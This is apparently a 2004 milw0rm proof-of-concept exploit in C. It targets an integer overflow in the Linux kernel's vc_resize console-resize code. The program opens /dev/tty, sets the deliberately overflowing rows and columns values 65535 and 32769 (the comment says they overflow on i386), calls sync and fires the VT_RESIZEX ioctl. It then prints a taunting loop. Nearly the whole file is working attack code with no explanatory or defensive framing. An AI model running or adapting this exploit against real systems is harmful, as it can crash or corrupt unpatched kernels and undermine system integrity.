40 lines
No EOL
757 B
C
40 lines
No EOL
757 B
C
/* vc_resize int overflow
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* Copyright Georgi Guninski
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* Cannot be used in vulnerability databases
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* */
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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#include <linux/vt.h>
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#include <sys/vt.h>
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#include <sys/ioctl.h>
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#include <string.h>
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#include <unistd.h>
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int main(int ac, char **av)
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{
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int fd;
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struct vt_consize vv;
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int cou=4242;
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fd=open("/dev/tty",O_RDWR);
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if (fd<0) {perror("open");return -42;}
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memset(&vv,0,sizeof(vv));
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vv.v_clin=0;
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vv.v_vcol=0;
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vv.v_ccol=0;
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/* magic values, overflow on i386*/
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vv.v_rows=65535;
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vv.v_cols=32769;
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system("sync");
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if (ioctl(fd,VT_RESIZEX,&vv) < 0) {perror("ioctl");return -4242;}
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while(cou--) printf(";)\n");
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close(fd);
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return 42;
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}
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// milw0rm.com [2004-12-16]
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